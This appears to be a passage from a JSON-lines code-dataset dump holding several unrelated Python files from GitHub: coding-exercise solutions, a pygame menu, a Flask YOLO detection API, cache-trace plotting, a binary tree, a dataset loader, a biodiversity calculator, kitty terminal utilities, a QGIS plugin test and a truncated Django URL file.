30\n\n web.show()\n","repo_name":"adam-winchell/underdark_module","sub_path":"random_encounters_deepbreach.py","file_name":"random_encounters_deepbreach.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3659219530","text":"# 백준 - 바이러스\nfrom collections import deque\n\nN = int(input()) # 컴퓨터의 수\ncount = int(input())\ngraph = [[] for _ in range(N+1)]\nvisited = [ 0 for _ in range(N+1)]\n\nfor i in range(count):\n start,end = map(int, input().split())\n graph[start].append(end)\n graph[end].append(start)\n\ndef solution(start_node):\n queue = deque()\n queue.append(start_node)\n visited[start_node] = 1\n result = 0\n \n while queue: #q가 없어 질때까지 반복해라\n value = queue.popleft()\n\n for num in graph[value]:\n if visited[num] == 1:\n continue\n queue.append(num)\n visited[num] = 1\n result += 1\n \n return result\nprint(solution(1))\n\n","repo_name":"wjswjdgns/learning_code","sub_path":"personal_/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24635691577","text":"import sys, pygame\nimport Game as game\nimport InputEvent as ie\nimport Box as b\nimport GameClock as gc\nimport os\n\nclass TitleScreen:\n def __init__(self):\n self.running=True\n self.boxes=[]\n self.initBoxes()\n size=800, 600\n\n while self.running:\n self.screen=pygame.display.set_mode(size)\n pygame.display.set_caption(\"Kaboom\")\n for box in self.boxes:\n box.xymove(size[0]/3, size[1]/3)\n self.draw(box.surface(), box.position())\n\n while self.running:\n for event in ie.InputEvent.getEvents():\n if ie.InputEvent.isWindowClosing(event):\n self.quit()\n elif ie.InputEvent.isKeyboardPressed(event):\n if ie.InputEvent.getKeyboardKey(event)==pygame.K_ESCAPE:\n self.quit()\n if ie.InputEvent.isMouseDown(event):\n for box in self.boxes:\n if box.getName()==\"SinglePlayer\" and self.withinBoundary(box):\n self.startGame()\n elif box.getName()==\"Exit\" and self.withinBoundary(box):\n self.quit()\n\n def initBoxes(self):\n self.boxesImage=pygame.image.load(os.getcwd() + \"\\\\data\\\\sprites\\\\boxes.png\")\n boxes=[[pygame.Rect(0, 0, 260, 80), \"SinglePlayer\"],\n [pygame.Rect(0, 80, 260, 80), \"HighScores\"],\n [pygame.Rect(0, 160, 260, 80), \"Exit\"]]\n for box in boxes:\n self.boxes.append(b.Button(box[0], box[1], self.boxesImage))\n\n def quit(self):\n pygame.quit()\n sys.exit()\n\n def withinBoundary(self, box):\n return box.inside(pygame.mouse.get_pos())\n\n def startGame(self):\n game.Game()\n\n def draw(self, image, position):\n self.screen.blit(image, position)\n pygame.mouse.set_visible(True)\n pygame.display.flip()\n\nif __name__==\"__main__\":\n t=TitleScreen()","repo_name":"dujodujo/lemur","sub_path":"link/TitleScreen.py","file_name":"TitleScreen.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"29848621204","text":"import io\n\nfrom flask import Flask, request\nfrom flask_mqtt import Mqtt\nfrom PIL import Image\n\nfrom model import Model\nfrom logger import setup_logger\n\napp = Flask(\"Yolo V5 Rest API\")\napp.config.from_object('config.Config')\n\nmqtt = Mqtt()\nmqtt.init_app(app)\n\nDETECTION_URL = \"/api/v1/yolo/object-detection\"\nlogger = setup_logger()\nmodel = Model(mqtt, logger)\n\n\n@app.route(\"/api/v1/health\", methods=[\"GET\", \"POST\"])\ndef health():\n return {\"health\": \"Running\", \"success\": True}\n\n\n@app.route(DETECTION_URL, methods=[\"POST\"])\ndef predict():\n if request.method != \"POST\":\n return\n\n if request.files.get(\"image\"):\n im_file = request.files[\"image\"]\n im_bytes = im_file.read()\n im = Image.open(io.BytesIO(im_bytes))\n uuid = request.form.get('uuid')\n logger.info(f\"Received detection request with id {uuid}\")\n model(im, size=1280, uuid=uuid)\n return {\"success\": True}, 200\n\n else:\n return {\"error\": \"No enough data\", \"msg\": \"Image was not attached.\"}\n\n","repo_name":"nisalperera/wenn-skill-test","sub_path":"yolo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10286091076","text":"# BOJ 1300 K'th number\nn = int(input())\nk = int(input())\n\nl, r = 1, k\nres = 0\nwhile l <= r:\n mid = (l+r)//2\n temp = 0\n for i in range(1,n+1):\n temp += min(mid//i, n)\n if temp >= k:\n res = mid\n r = mid-1\n else:\n l = mid+1\nprint(res)","repo_name":"Qud4300/Baekjoon_Online_Judge","sub_path":"1300 K번째 수/kthNumber.py","file_name":"kthNumber.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28571032607","text":"\"\"\"\n this scripts plot the ratio of different operations \n\n\"\"\" \n\nimport os\nimport re\nimport sys\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"../\"))\nimport numpy as np\nfrom utils.common import *\n\n\n########################################################### trace stat ##########################################################\ndef load_trace_stat(trace_stat_file):\n \"\"\" load data from trace.stat file \n \"\"\" \n\n op_mapping = {\"get\":0, \"gets\":1, \"set\":2, \"add\":3, \"replace\":4, \"append\":5, \"prepend\":6, \"cas\":7, \"delete\":8, \"incr\":9, \"decr\":10}\n regex_req = re.compile(r\"number of requests: (?P\\d+)\")\n regex_obj = re.compile(r\"number of uniq obj/blocks: (?P\\d+)\")\n regex_cold_miss = re.compile(r\"cold miss ratio: (?P0.\\d+)\")\n regex_one_hit = re.compile(r\"number of obj/block accessed only once: (?P\\d+)\")\n regex_obj_size_req = re.compile(r\"weighted_by_req: obj_size_mean (?P\\d+), req_size_mean (?P\\d+), key_size_mean (?P\\d+), value_size_mean (?P\\d+)\")\n regex_obj_size_obj = re.compile(r\"weighted_by_obj: obj_size_mean (?P\\d+), req_size_mean (?P\\d+), key_size_mean (?P\\d+), value_size_mean (?P\\d+)\")\n regex_op = re.compile(r\"op ratio: defaultdict\\(\\,(?P[^)]+)\")\n regex_ttl = re.compile(r\"ttl: (?P\\d+) ttls used, (?P.+)\")\n\n cold_miss_ratio_list = []\n one_hit_ratio_list = []\n mean_freq_list = []\n obj_size_list = []\n key_size_list = []\n value_size_list = []\n val_key_size_ratio_list = []\n read_ratio_list = []\n write_ratio_list = []\n op_ratio_dict_list = defaultdict(list)\n mean_ttl_list = [] \n ttl_list = [] # all ttls used in the cache\n n_ttl_list = []\n ttl_variation_list1 = [] # in one cache maxTTL/minTTL \n ttl_variation_list2 = [] # in one cache meanTTL/minTTL \n smallest_ttl_list = []\n trace_info_dict = {}\n\n with open(trace_stat_file) as ifile:\n line = ifile.readline()\n while line: \n if line.startswith(\"dat\"):\n trace_name = line.split(\":\")[1].strip().split(\"/\")[-1]\n line = ifile.readline()\n continue\n if line.startswith(\"number of requests\"):\n n_req = int(line.split(\":\")[1])\n elif line.startswith(\"number of uniq\"):\n n_obj = int(line.split(\":\")[1])\n mean_freq_list.append(n_req/n_obj)\n\n elif line.startswith(\"cold\"):\n cold_miss_ratio = float(line.split(\":\")[1])\n cold_miss_ratio_list.append(cold_miss_ratio)\n\n elif line.startswith(\"number of obj/block\"):\n n_one_hit = int(line.split(\":\")[1].strip().split(\" \")[0])\n one_hit_ratio_list.append(n_one_hit/n_obj)\n\n elif line.startswith(\"weighted_by_req\"):\n pass\n\n elif line.startswith(\"weighted_by_obj\"):\n m = regex_obj_size_obj.search(line)\n obj_size_list.append(int(m.group(\"obj_size\")))\n key_size_list.append(int(m.group(\"key_size\")))\n value_size_list.append(int(m.group(\"value_size\")))\n trace_info_dict[trace_name] = int(m.group(\"obj_size\"))\n if int(m.group(\"key_size\")) != 0: \n val_key_size_ratio_list.append(int(m.group(\"value_size\"))/int(m.group(\"key_size\")))\n\n elif line.startswith(\"op\"):\n # 1:get, 2:gets, 3:set, 5:add, 6:replace, 7: append, 8: prepend, 9: cas, 10: delete, 11:incr, 12:decr\n # get:1, gets:2, set:3, add:4, cas:5, replace: 6, append: 7, prepend: 8, delete: 9, incr: 10, decr:11\n\n op_ratio_list = [0] * 11\n for s in line[3:].split(\",\"):\n op, ratio = s.strip().split(\":\")\n op, ratio = op_mapping[op.strip()], float(ratio)\n op_ratio_list[op] = ratio\n \n for n, ratio in enumerate(op_ratio_list):\n op_ratio_dict_list[n].append(ratio)\n\n read_ratio_list.append(op_ratio_list[0]+op_ratio_list[1])\n write_ratio_list.append(sum(op_ratio_list[2:]) - op_ratio_list[8])\n\n\n elif line.startswith(\"ttl\"):\n m = regex_ttl.search(line)\n n_ttl = int(m.group(\"n_ttl\"))\n ttl_detils = m.group(\"ttl_details\")\n n_ttl_list.append(n_ttl)\n\n mean_ttl = 0\n cur_trace_ttl_set = set()\n ttl_line_split = ttl_detils.split(\",\")\n ps = 0\n for ttl_tuple in ttl_line_split:\n t, p = ttl_tuple.split(\":\")\n # if float(p) > 0.01:\n if t[-1] == \"h\":\n t = float(t[:-1]) * 3600\n elif t[-1] == \"d\":\n t = float(t[:-1]) * 3600 * 24\n elif t[-1] == \"s\":\n t = int(t[:-1])\n else:\n raise RuntimeError(\"unknown ttl \" + t)\n mean_ttl += t * float(p)\n ps += float(p)\n ttl_list.append(t)\n cur_trace_ttl_set.add(t)\n mean_ttl /= ps # temp fix for a bug where the nubmer of TTLs are limited to 10 in traceStat\n\n mean_ttl_list.append(mean_ttl)\n t = np.array(list(cur_trace_ttl_set))\n\n if len(cur_trace_ttl_set) > 1:\n smallest_ttl_list.append(np.min(t))\n ttl_variation_list1.append(np.max(t)/max(np.min(t), 60))\n ttl_variation_list2.append(mean_ttl/max(np.min(t), 60))\n\n line = ifile.readline()\n\n # pprint(trace_info_dict)\n return cold_miss_ratio_list, one_hit_ratio_list, obj_size_list, key_size_list, value_size_list, \\\n val_key_size_ratio_list, read_ratio_list, write_ratio_list, op_ratio_dict_list, mean_ttl_list, \\\n n_ttl_list, ttl_variation_list1, ttl_variation_list2, smallest_ttl_list,\n\n\n########################################################### trace stat ##########################################################\ndef plot_trace_stat(trace_stat_file):\n from matplotlib.ticker import MaxNLocator\n cold_miss_ratio_list, one_hit_ratio_list, obj_size_list, key_size_list, value_size_list, val_key_size_ratio_list, \\\n read_ratio_list, write_ratio_list, op_ratio_dict_list, ttl_list, \\\n n_ttl_list, ttl_variation_list1, ttl_variation_list2, smallest_ttl_list = load_trace_stat(trace_stat_file)\n\n\n plotTools.plot_cdf(cold_miss_ratio_list)\n plt.xlabel(\"Cold miss ratio\")\n # plt.xlim((0, 0.2))\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/cold_miss\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(one_hit_ratio_list)\n plt.xlabel(\"One hit wonder ratio\")\n # plt.xlim((0.2, 0.4))\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/one_hit\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf([i for i in obj_size_list])\n plt.xscale(\"log\")\n # plt.xticks((10, 100, 1000, 10000, 100000))\n plt.xlabel(\"Object size (byte)\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/size_obj\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(key_size_list)\n plt.xlabel(\"Key size (byte)\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/size_key\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(value_size_list)\n plt.xscale(\"log\")\n # plt.xticks((1, 10, 100, 1000, 10000, 100000))\n plt.xlabel(\"Value size (byte)\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/size_val\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(val_key_size_ratio_list)\n # plt.axvline(x=5, linewidth=2)\n # plt.axvline(x=6, linewidth=2)\n plt.xscale(\"log\")\n plt.xticks((0.1, 1, 10, 100, 1000))\n plt.xlabel(\"Value/key size ratio\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/size_valKey_szRatio\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n\n plotTools.plot_ccdf(read_ratio_list)\n plt.xlabel(\"Read ratio\")\n plt.ylabel(\"Fraction of clusters (CCDF)\")\n # plt.xlim((0.99,1))\n plt.savefig(\"{}/read_ratio\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_ccdf(write_ratio_list)\n plt.ylabel(\"Fraction of clusters (CCDF)\")\n plt.xlabel(\"Write ratio\")\n # plt.xlim((0,0.01))\n plt.savefig(\"{}/write_ratio_ccdf\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n\n plotTools.plot_cdf(write_ratio_list)\n plt.xlabel(\"Write ratio\")\n # plt.xlim((0,0.01))\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/write_ratio\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n\n plotTools.plot_cdf(ttl_list)\n plt.xscale(\"log\")\n plt.axvline(x=1200, linestyle=\"--\", color=\"black\", linewidth=2)\n plt.text(x=16, y=0.80, s=\"<20 min\")\n plt.axvline(x=3600*24*2, linestyle=\"--\", color=\"black\", linewidth=2)\n plt.text(x=3600*24*2+12800, y=0.08, s=\" >2 day\")\n plt.xticks((100, 1000, 10000, 100000, 1000000))\n plt.xlabel(\"Mean TTL (s)\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n # plt.xticks((60, 3600, 3600*24), (\"1 min\", \"1 hour\", \"1 day\"))\n plt.savefig(\"{}/ttl\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(smallest_ttl_list)\n plt.xscale(\"log\")\n plt.axvline(x=300, linestyle=\"--\", color=\"black\", linewidth=2)\n plt.text(x=6, y=0.80, s=\"<5 min\")\n plt.axvline(x=3600*6, linestyle=\"--\", color=\"black\", linewidth=2)\n plt.text(x=3600*6+6400, y=0.08, s=\" >6 hour\")\n # plt.xticks((60, 3600, 3600*24), (\"1 min\", \"1 hour\", \"1 day\"))\n plt.ylim((0, 1))\n plt.xlabel(\"The smallest TTL (s)\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/ttl_smallest\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plt.set_n_colors(2)\n plotTools.plot_cdf(ttl_variation_list1, label=\"$\\\\frac{TTL_{max}}{max(TTL_{min}, 60)}$\")\n # plotTools.plot_cdf(ttl_variation_list2, label=\"$\\\\frac{TTL_{mean}}{max(TTL_{min}, 60)}$\")\n plt.xscale(\"log\")\n plt.xlabel(\"TTL range\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n # plt.axvline(x=1.3)\n # plt.axvline(x=1.8)\n # plt.axvline(x=8)\n # plt.axvline(x=50)\n plt.legend(fontsize=30)\n plt.xticks((1, 10, 100, 1000, 10000))\n plt.savefig(\"{}/ttlvar\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n plotTools.plot_cdf(n_ttl_list)\n # plt.ylim((0.4, 1))\n # plt.yticks((0.4, 0.6, 0.8, 1))\n plt.xscale(\"log\")\n plt.xlabel(\"#TTL used\")\n plt.ylabel(\"Fraction of clusters (CDF)\")\n plt.savefig(\"{}/ttl_nttl\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n op_ratio_matrix = np.array([op_ratio_dict_list[i] for i in range(12) if i in op_ratio_dict_list])\n plt.boxplot(op_ratio_matrix.T, whis=(10, 90), labels=(\"get\", \"gets\", \"set\", \"add\", \"replace\", \"append\", \"prepend\", \"cas\", \"delete\", \"incr\", \"decr\"))\n # plt.boxplot(op_ratio_matrix.T, whis=(10, 90), labels=(\"get\", \"gets\", \"set\", \"add\", \"cas\", \"replace\", \"append\", \"prepend\", \"delete\", \"incr\", \"decr\"))\n\n plt.ylabel(\"Fraction of requests\")\n plt.xticks(rotation=60) # , ha=\"right\")\n plt.savefig(\"{}/op_ratio_box\".format(FIG_DIR), no_save_plot_data=True)\n plt.clf()\n\n\n\n\nif __name__ == \"__main__\":\n import argparse \n ap = argparse.ArgumentParser()\n ap.add_argument(\"--trace_stat\", type=str, \n default=os.path.join(os.path.dirname(__file__), \"../../data/trace_stat.core.twoday\"), \n help=\"file path to trace_stat\")\n p = ap.parse_args()\n\n plot_trace_stat(p.trace_stat)\n\n\n\n\n\n\n\n\n","repo_name":"Thesys-lab/cacheWorkloadAnalysisOSDI20","sub_path":"cacheTraceAnalysis/plot/traceStat.py","file_name":"traceStat.py","file_ext":"py","file_size_in_byte":10970,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"7"} +{"seq_id":"41057751679","text":"class BTree:\n def __init__(self, val=None, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n def __unicode__(self):\n return self.val\n\n\ndef s(xianxu, zhongxu):\n \"\"\"根据先序遍历与中序遍历生成二叉树\"\"\"\n root = xianxu[0]\n index = zhongxu.index(root)\n\n xian_left = xianxu[1:index + 1]\n xian_right = xianxu[index + 1:]\n\n zhong_left = zhongxu[0:index]\n zhong_right = zhongxu[index + 1:]\n\n left = s(xian_left, zhong_left) if xian_left != [] else None\n right = s(xian_right, zhong_right) if xian_right != [] else None\n\n return BTree(root, left, right)\n\n\nif __name__ == '__main__':\n xianxu = [1, 2, 4, 7, 3, 5, 6, 8]\n zhongxu = [4, 7, 2, 1, 5, 3, 8, 6]\n r = s(xianxu, zhongxu)\n","repo_name":"yiyuhao/DataStructureAndAlgorithm","sub_path":"jianzhi_of/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25704477002","text":"class binaryTree:\n def __init__(self):\n self.root = None\n\n def insert(self, key, value):\n if self.root is None:\n self.root = treeNode(key, value)\n else:\n self.root.insert(key, value)\n\n def find(self, key):\n if self.root is None:\n return None\n else:\n node = self.root.find(key)\n if node is None:\n return None\n else:\n return node.value\n\n def delete(self, key):\n if self.root is None:\n return\n else:\n if(self.root.find(key) is None):\n return\n else:\n self.root = self.root.delete(key)\n def walk(self):\n if self.root is None:\n return\n yield from self.root.walk()\n\n\n\nclass treeNode:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.left = None\n self.right = None\n\n def insert(self, key, value):\n if key < self.key:\n if self.left is None:\n n = treeNode(key, value)\n self.left = n\n else:\n self.left.insert(key, value)\n else:\n if self.right is None:\n n = treeNode(key, value)\n self.right = n\n else:\n self.right.insert(key, value)\n\n def find(self, key):\n if self.key == key:\n return self\n if key < self.key:\n if self.left is None:\n return None\n else:\n return self.left.find(key)\n else:\n if self.right is None:\n return None\n else:\n return self.right.find(key)\n\n def maxkey(self):\n if self.right is None:\n return self.key\n return self.right.maxkey()\n\n def delete(self, key):\n if self.key == key:\n # delete this node\n if self.left is None and self.right is None:\n return None\n elif self.left is None:\n return self.right\n elif self.right is None:\n return self.left\n else:\n maxkey = self.left.maxkey()\n maxnode = self.left.find(maxkey)\n self.left.delete(maxkey)\n maxnode.left = self.left\n maxnode.right = self.right\n return maxnode\n elif key < self.key:\n # ask left children to delete\n self.left = self.left.delete(key)\n else:\n # ask right children to delete\n self.right = self.right.delete(key)\n return self\n def walk(self):\n if self.left is not None:\n yield from self.left.walk()\n yield (self.key,self.value)\n if self.right is not None:\n yield from self.right.walk()\n\n\ndef testAddFind():\n tree = treeNode(10, 'ten')\n tree.insert(20, 'twenty')\n tree.insert(5, 'five')\n node = tree.find(5)\n print(node.key)\n print(node.value)\n\n tree.delete(5)\n node = tree.find(5)\n print(node)\n\n\ntestAddFind()\n","repo_name":"shinomiya-akirawane/UCL_CS","sub_path":"UCL_CS_ENGF0002/lectures/binaryTree.py","file_name":"binaryTree.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71671519583","text":"import os.path as osp\nimport os\nimport glob\n\nimport torch.utils.data as data\n\nfrom PIL import Image\n\n# from render import RENDER\n\n\nclass shrec_3DSketch(data.Dataset):\n def __init__(self, path, phase='train', transform=None):\n super(shrec_3DSketch, self).__init__()\n assert phase in ('train', 'test')\n\n self.transform = transform\n self.data_dir = osp.join(path, 'SHREC16_3DSBR_Benchmark')\n if phase == 'train':\n self.cla = osp.join(self.data_dir, 'Training_Testing_Target_Datasets_Classficiation_FIles', 'Kinect300_Query_Train.cla')\n else:\n self.cla = osp.join(self.data_dir, 'Training_Testing_Target_Datasets_Classficiation_FIles', 'Kinect300_Query_Test.cla')\n map_index_file = osp.join(self.data_dir, 'Training_Testing_Target_Datasets_Classficiation_FIles', 'map_index.txt')\n self.map_indx = {}\n with open(map_index_file) as rPtr:\n for line in rPtr.readlines():\n key, indx, map_indx = line.strip().split(' ')\n self.map_indx[key] = (indx, map_indx)\n\n self._reader()\n\n def _reader(self):\n self.set = []\n key = ''\n with open(self.cla) as rPtr:\n for line in rPtr.readlines():\n infos = line.strip().split(' ')\n if len(infos) == 0 or len(infos) == 2:\n continue\n elif len(infos) == 3:\n key, _, _ = infos\n elif len(infos) == 1 and infos[0] != '':\n if key in self.map_indx.keys():\n self.set.append((infos[0], self.map_indx[key][0], self.map_indx[key][1]))\n\n def __getitem__(self, index):\n _id, indx, map_indx = self.set[index]\n try:\n image_file = osp.join(self.data_dir, 'Kinect300_2DView', str(_id) + '.png')\n image = Image.open(image_file).convert('RGB')\n except:\n image_file = osp.join(self.data_dir, 'Kinect300_2DView', str(_id) + '.jpg')\n image = Image.open(image_file).convert('RGB')\n if self.transform:\n image = self.transform(image)\n return image, int(indx), int(map_indx)\n\n def __len__(self):\n return len(self.set)\n\n\nif __name__ == '__main__':\n src_path = 'C:/Users/HEDGEHOG/Desktop/3DRetrieval/data/SHREC_2016'\n sketch = shrec_3DSketch(src_path, phase='test')\n image, indx, map_indx = sketch[0]\n print(image.size, indx, map_indx)\n","repo_name":"yanghairui/3DRetrieval","sub_path":"dataset/shrec_2016.py","file_name":"shrec_2016.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"25828962186","text":"import json\n\nfileName = input(\"Input file name: \") #Dataset\noutputFileName = input(\"Output file name: \") #Summary Table\n\n#Loading JSON\nwith open(fileName) as json_file:\n\tdata = json.load(json_file)\n\n#Var\noutputData = {}\ncommonNames = []\nnumberOfSpecies = 0\n\n\nfor i in range(0,len(data)):\n\tif i != 0: #Edge cases\n\t\tif data[i]['Scientific'] == data[i-1]['Scientific']: #Listing number of each species\n\t\t\toutputData[data[i]['Scientific']] += 1 #Counting number of species\n\t\telse:\n\t\t\toutputData[data[i]['Scientific']] = 1 #Starting new species\n\t\t\tcommonNames.append(data[i]['Common'])\n\n\t\t\tnumberOfSpecies += 1\n\telse: #Edge Case\n\t\toutputData[data[i]['Scientific']] = 1 #Starting the algorithm\n\t\tnumberOfSpecies += 1\n\t\tcommonNames.append(data[i]['Common'])\n\n#Simpson's reciprocal diversity Index\nspeciesIndividualVal = list(outputData.values())\ndenom = 0\nnum = 0\n\n#Calculating denominator\nfor i in range(0,len(speciesIndividualVal)):\n\tdenom += speciesIndividualVal[i]*(speciesIndividualVal[i]-1)\n\n#Calculating numerator\nlenData = len(data)\nnum = lenData*(lenData-1)\n\nprint(num)\nprint(denom)\n\nsrd = num/denom\n\n\n#Output for Simpsons reciprocal diversity index\nprint(outputData)\nprint(\"\\n######################################\\n\")\nprint(\"The number of different species were: \" + str(numberOfSpecies))\nprint(\"\\nThe Simpson Reciprocal Index of the dataset was \" + str(srd))\n\n\n######Summary Table#########\n\n#Altering File name\noutputFileName = \"SummaryDataTable-\" + outputFileName + \".txt\"\n\nsumTab = open(outputFileName, 'w+') #Create file\n\ndataList = list(outputData) #gets a list of all species names\n\nsumTab.write('Scientific,Common,SpeciesVal \\n')\n\nfor i in range(0, len(outputData)):\n\tsumTab.write(dataList[i] + \",\" + commonNames[i] + \",\" + str(speciesIndividualVal[i]) + \"\\n\") #Adds data to txt file\n#User can convert to csv by renaming\n\n\n\n\n\n\n","repo_name":"nBidari/sideProjects","sub_path":"bioDiversityCalc/biodiversityCalc.py","file_name":"biodiversityCalc.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36521924691","text":"import os\nimport sys\nfrom contextlib import suppress\nfrom typing import TYPE_CHECKING, Optional, Sequence, Tuple, cast\n\nfrom kitty.types import run_once\n\nfrom .operations import raw_mode, set_cursor_visible\n\nif TYPE_CHECKING:\n from kitty.options.types import Options\n\n\ndef get_key_press(allowed: str, default: str) -> str:\n response = default\n with raw_mode():\n print(set_cursor_visible(False), end='', flush=True)\n try:\n while True:\n q = sys.stdin.buffer.read(1)\n if q:\n if q in b'\\x1b\\x03':\n break\n with suppress(Exception):\n response = q.decode('utf-8').lower()\n if response in allowed:\n break\n except (KeyboardInterrupt, EOFError):\n pass\n finally:\n print(set_cursor_visible(True), end='', flush=True)\n return response\n\n\ndef format_number(val: float, max_num_of_decimals: int = 2) -> str:\n ans = str(val)\n pos = ans.find('.')\n if pos > -1:\n ans = ans[:pos + max_num_of_decimals + 1]\n return ans.rstrip('0').rstrip('.')\n\n\ndef human_size(\n size: int, sep: str = ' ',\n max_num_of_decimals: int = 2,\n unit_list: Tuple[str, ...] = ('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB')\n) -> str:\n \"\"\" Convert a size in bytes into a human readable form \"\"\"\n if size < 2:\n return f'{size}{sep}{unit_list[0]}'\n from math import log\n exponent = min(int(log(size, 1024)), len(unit_list) - 1)\n return format_number(size / 1024**exponent, max_num_of_decimals) + sep + unit_list[exponent]\n\n\ndef kitty_opts() -> 'Options':\n from kitty.fast_data_types import get_options, set_options\n try:\n ans = cast(Optional['Options'], get_options())\n except RuntimeError:\n ans = None\n if ans is None:\n from kitty.cli import create_default_opts\n from kitty.utils import suppress_error_logging\n with suppress_error_logging():\n ans = create_default_opts()\n set_options(ans)\n return ans\n\n\ndef set_kitty_opts(paths: Sequence[str], overrides: Sequence[str] = ()) -> 'Options':\n from kitty.config import load_config\n from kitty.fast_data_types import set_options\n from kitty.utils import suppress_error_logging\n with suppress_error_logging():\n opts = load_config(*paths, overrides=overrides or None)\n set_options(opts)\n return opts\n\n\ndef report_error(msg: str = '', return_code: int = 1, print_exc: bool = False) -> None:\n ' Report an error also sending the overlay ready message to ensure kitten is visible '\n from .operations import overlay_ready\n print(end=overlay_ready())\n if msg:\n print(msg, file=sys.stderr)\n if print_exc:\n cls, e, tb = sys.exc_info()\n if e and not isinstance(e, (SystemExit, KeyboardInterrupt)):\n import traceback\n traceback.print_exc()\n with suppress(KeyboardInterrupt, EOFError):\n input('Press Enter to quit')\n raise SystemExit(return_code)\n\n\ndef report_unhandled_error(msg: str = '') -> None:\n ' Report an unhandled exception with the overlay ready message '\n return report_error(msg, print_exc=True)\n\n\n@run_once\ndef running_in_tmux() -> str:\n socket = os.environ.get('TMUX')\n if not socket:\n return ''\n parts = socket.split(',')\n if len(parts) < 2:\n return ''\n try:\n if not os.access(parts[0], os.R_OK | os.W_OK):\n return ''\n except OSError:\n return ''\n from kitty.child import cmdline_of_pid\n c = cmdline_of_pid(int(parts[1]))\n if not c:\n return ''\n exe = os.path.basename(c[0])\n if exe.lower() == 'tmux':\n return exe\n return ''\n","repo_name":"kovidgoyal/kitty","sub_path":"kittens/tui/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":20382,"dataset":"github-code","pt":"7"} +{"seq_id":"16221909633","text":"#! /usr/bin/python3\n\nimport sys\n\nsales_total = 0\nn_sales = 0\n\nfor line in sys.stdin:\n\tcost = float(line.strip())\n\tsales_total += cost\n\tn_sales += 1\n\nprint(f\"Total values of sales: {round(sales_total, 2)}\")\nprint(f\"Number of sales: {n_sales}\")","repo_name":"guidofranco/Intro_HadoopAndMapReduce","sub_path":"purchases/reducer_total.py","file_name":"reducer_total.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71895571743","text":"import pytest\nfrom PyQt5 import QtGui\n\nfrom dataset_qa_workbench.datasetqaworkbench import checklist_picker\n\n\n@pytest.mark.parametrize('button_type, expected', [\n pytest.param('Ok', False),\n pytest.param('Cancel', True)\n])\ndef test_checklist_picker_initial_button_box_state(iface, button_type, expected):\n picker = checklist_picker.ChecklistPicker(iface)\n button = picker.button_box.button(getattr(picker.button_box, button_type))\n assert button.isEnabled() == expected\n\n\ndef test_selecting_a_checklist_enables_ok_button(iface, qtbot):\n picker = checklist_picker.ChecklistPicker(iface)\n print(f'num_checklists: {picker.checklists_tv.model().rowCount()}')\n picker.show()\n qtbot.addWidget(picker)\n","repo_name":"kartoza/qgis_dataset_qa_workbench","sub_path":"tests/test_checklist_picker.py","file_name":"test_checklist_picker.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"1433685748","text":"from django.urls import path, include\nfrom . import views\nfrom rest_framework import routers\n\nrouter = routers.SimpleRouter()\nrouter.register(r'players', views.PlayerView, 